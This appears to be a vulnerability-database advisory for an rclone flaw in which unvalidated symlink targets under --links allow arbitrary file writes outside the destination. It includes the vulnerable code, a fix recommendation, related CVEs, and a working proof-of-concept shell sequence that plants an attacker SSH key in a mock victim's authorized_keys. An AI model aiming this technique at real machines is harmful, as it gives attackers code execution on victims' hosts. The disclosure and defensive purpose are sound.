CVE-2026-54572High· 7.5▾ Twilightrclone: Unvalidated symlink target in local `--links` — arbitrary file write from an untrusted remote
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Aug 5.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.3%
0.3% → 0.4%
With -l/--links, rclone serializes symlinks as <name>.rclonelink text objects whose body is the link target. When rclone writes such an object to a local destination, it recreates the symlink with os.Symlink(<object body>, <dest path>) and performs NO validation of the target. If the source is attacker-controlled, the attacker sets the body to any absolute or ../ path, so rclone plants a symlink inside the destination that points anywhere on the victim's filesystem. Because a sibling object named <name>.rclonelink sorts before <name>/..., rclone creates the escaping symlink first and then writes a following object "inside" it; mkdirAll/OpenFile follow the planted symlink, so the file lands OUTSIDE the destination with attacker-chosen contents. This yields arbitrary file write as the victim user, e.g. overwriting ~/.ssh/authorized_keys, ~/.bashrc, or a crontab — i.e. code execution.
backend/local/local.go, Object.Update():
} else {
out = nopWriterCloser{&symlinkData} // body of <name>.rclonelink = attacker data
}
...
if o.translatedLink {
if err == nil {
if _, err := os.Lstat(o.path); err == nil {
os.Remove(o.path)
}
// Use the contents for the copied object to create a symlink
err = os.Symlink(symlinkData.String(), o.path) // <-- target NEVER validated (abs / .. allowed)
}
}
symlinkData is the raw body of the source object, fully attacker-controlled when copying from an untrusted remote. There is no check that the target is relative or stays within the destination. The subsequent write path (mkdirAll() → file.MkdirAll, then file.OpenFile(..., O_CREATE)) follows existing symlink components with no O_NOFOLLOW, so a file written under the planted symlinked directory escapes the destination.
curl -fsSLO https://downloads.rclone.org/v1.74.3/rclone-v1.74.3-linux-amd64.zip
unzip -j rclone-v1.74.3-linux-amd64.zip '*/rclone' -d . # ./rclone -> v1.74.3
mkdir -p evil/pwn dest victimhome/.ssh
printf '%s' "$PWD/victimhome/.ssh" > evil/pwn.rclonelink # body = abs path OUTSIDE dest
printf 'ssh-ed25519 AAAA_ATTACKER_KEY pwned\n' > evil/pwn/authorized_keys
ls -l victimhome/.ssh # empty (before)
cd evil && python3 -m http.server 38080 --bind 127.0.0.1
./rclone copy --links --http-url http://127.0.0.1:38080 :http: ./dest -v
./dest:ls -l dest/pwn # dest/pwn -> .../victimhome/.ssh (symlink escapes dest)
cat victimhome/.ssh/authorized_keys # ssh-ed25519 AAAA_ATTACKER_KEY pwned <-- written outside dest
pwn.rclonelink sorts before pwn/authorized_keys, so rclone creates the escaping symlink first and the next write follows it out of the destination. With rclone run as the victim user this overwrites ~/.ssh/authorized_keys, ~/.bashrc, or a crontab → code execution.
An attacker who controls the contents of any remote a victim syncs with -l/--links gains arbitrary file write as the victim user, anywhere that user can write. Overwriting ~/.ssh/authorized_keys, shell rc files, or cron files yields remote code execution on the victim's host. Even without the write-through step, the destination is silently populated with symlinks pointing anywhere on the local filesystem (confinement break / later read-or-write traversal).
In Object.Update() reject symlink targets that are absolute or escape the destination root before calling os.Symlink (resolve filepath.Join(dir, target) and require it to stay within the configured root, or refuse absolute/.. targets), and write objects with O_NOFOLLOW on the final component plus a no-symlink-in-parent check so a planted symlinked directory is never followed. Add a regression test copying a .rclonelink with target /tmp/... and a sibling file, asserting nothing is written outside the destination.
github.com/rclone/rclone <= 1.74.3Upgrade to a patched release:
github.com/rclone/rclone 1.74.4Connected by shared product, vendor, weakness, or advisory.
CVE-2026-79782Low· 3.1rclone before 1.74.4 fails to strip the X-Amz-Security-Token header when an S3 redirect changes scheme from HTTPS to HTTP on the same host
CVE-2026-79783Low· 3.6rclone before 1.74.4 fails to mask special permission bits when applying source-supplied mode metadata in the local backend, allowing attackers to set setuid/setgid bits on attacker-controlled files
CVE-2026-79781Medium· 6.5rclone serve s3 before 1.74.4 contains a path traversal vulnerability that allows attackers to read and overwrite root-level files by using dot-dot segments in S3 object keys
GO-2026-6196NoneS3 session token leakage on HTTPS to HTTP redirect in github.com/rclone/rclone
GO-2026-6190NoneUnsafe file permission restoration from metadata in github.com/rclone/rclone
GO-2026-6189NonePath traversal in serve s3 in github.com/rclone/rclone